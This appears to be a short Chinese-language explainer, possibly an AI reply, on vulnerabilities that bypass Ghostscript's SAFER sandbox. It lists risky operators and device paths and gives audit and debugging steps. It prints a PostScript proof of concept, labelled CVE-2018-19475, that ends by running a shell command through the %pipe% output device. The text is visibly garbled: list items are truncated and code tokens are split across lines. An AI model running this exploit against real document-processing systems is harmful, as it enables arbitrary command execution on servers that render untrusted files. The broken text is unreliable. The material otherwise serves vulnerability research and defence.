Ghostscript的SAFER沙箱机制旨在限制PostScript解释器的功能,防止恶意文档执行危险操作。然而,历史上存在多个绕过SAFER沙箱的漏洞,可能导致任意代码执行或文件系统访问。
SAFER模式(通过-dSAFER
参数启用)旨在:
- 限制文件系统访问
- 禁用危险操作符
- 限制设备访问
- 防止特权提升
file
操作符结合特殊路径(如%pipe%
或|
)执行命令deletefile
、renamefile
%device%
前缀访问受限设备%stdout
泄露信息检查gslib/
目录下的.ps
文件,特别是与安全相关的:
operators.ps
- 操作符定义save.ps
- 安全状态管理filedev.ps
- 文件设备处理查找SAFER
相关条件判断:
currentglobal true setglobal SAFER and
使用调试版本运行Ghostscript:
gs -dSAFER -Zdebug
跟踪操作符执行流程,特别注意:
一个历史漏洞(CVE-2018-19475)的PoC:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } loop
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
此PoC通过:
1. 解除setpagedevice
的限制
2. 利用错误处理改变执行流
3. 最终通过%pipe%
执行命令
-dNOSAFER
但不处理不受信任文档)如需分析特定漏洞或需要更详细的技术细节,请提供更多信息。